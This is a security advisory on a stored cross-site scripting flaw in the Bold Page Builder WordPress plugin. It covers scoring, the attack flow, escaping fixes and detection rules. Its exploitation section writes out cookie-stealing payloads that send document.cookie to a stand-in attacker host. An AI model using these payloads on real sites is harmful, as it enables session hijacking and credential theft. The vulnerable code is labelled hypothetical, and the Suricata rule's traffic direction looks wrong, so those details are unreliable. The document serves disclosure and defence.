CVE-2025-13463

Executive Summary

CVE-2025-13463 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 5.5.3. The flaw resides in the Post Grid component, where insufficient input sanitization and output escaping allow authenticated attackers with Author-level access or higher to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious payload, the script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for exploitation. Although the EPSS score is currently 0.0%, the vulnerability is unpatched, making it a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability exists in the bold-page-builder plugin's Post Grid component, which is used to display dynamic post listings. The plugin fails to properly sanitize user-supplied input when constructing the grid's HTML output. Specifically, the title or content fields of a post (or custom fields) are not escaped before being rendered in the grid. An authenticated attacker with Author-level privileges can create or edit a post and inject malicious JavaScript into these fields. When the Post Grid component renders the post, the script is stored in the database and executed in the browser of any user viewing the page.

The attack flow:

1. Attacker logs in with Author-level credentials.
2. Creates a new post or edits an existing one.
3. Injects a payload like <script>alert('XSS')</script> into the post title or content.
4. The Bold Page Builder's Post Grid component outputs the unsanitized data.
5. Any visitor (including admins) triggers the script upon page load.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described below. The fix would involve proper output escaping using WordPress functions like esc_html() or wp_kses_post().

Vulnerable Code (hypothetical):

// In bold-page-builder/includes/post-grid.php
echo '<h3>' . $post->post_title . '</h3>';

Patched Code (recommended):

echo '<h3>' . esc_html( $post->post_title ) . '</h3>';

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress instance with Bold Page Builder <= 5.5.3, an Author-level account.

2. Steps:

   • Log in as Author.
   • Navigate to Posts > Add New.
   • In the title or content field, insert a payload:

     <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
     

   • Publish the post.
   • Ensure the Bold Page Builder's Post Grid is configured to display this post.
   • When an admin or other user visits the page, the script executes.

3. Alternative Payload (session hijacking):

   <img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie">
   

Blue Team (Detection & Hardening)

• Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST data.
• Input Validation: Use WordPress functions like sanitize_text_field() and wp_kses_post().
• Content Security Policy (CSP): Implement a strict CSP header to block inline scripts.
• User Education: Restrict Author-level access to trusted users only.
• Monitor Logs: Watch for unusual post content containing script tags.

Indicators of Compromise (IOCs)

• File Hashes (plugin files): (None provided; check plugin directory for modified files)
• Network Traffic: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Log Entries: Suspicious post content in wp_posts table containing <script> tags.
• Database Queries: Look for posts with post_content or post_title containing onerror, onload, or javascript:.

Detection Engineering

YARA Rule

rule CVE_2025_13463_XSS {
    meta:
        description = "Detects stored XSS payloads in Bold Page Builder post content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13463"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Bold Page Builder Post Grid
id: 8a3f7c2e-5d1b-4a9f-8c6e-3b2a1d0f9e8c
status: experimental
description: Detects stored XSS attempts in WordPress posts using Bold Page Builder
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains|all:
            - 'post_title'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13463 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_title"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the Bold Page Builder plugin until a patch is released.
• Workaround: Use a WordPress security plugin (e.g., Wordfence) to block XSS attempts.
• Long-term: Apply output escaping in custom code or wait for vendor patch.
• Monitoring: Continuously monitor for suspicious post creation and modify user roles to limit Author-level access.

Valters IT
Securing WordPress ecosystems with precision.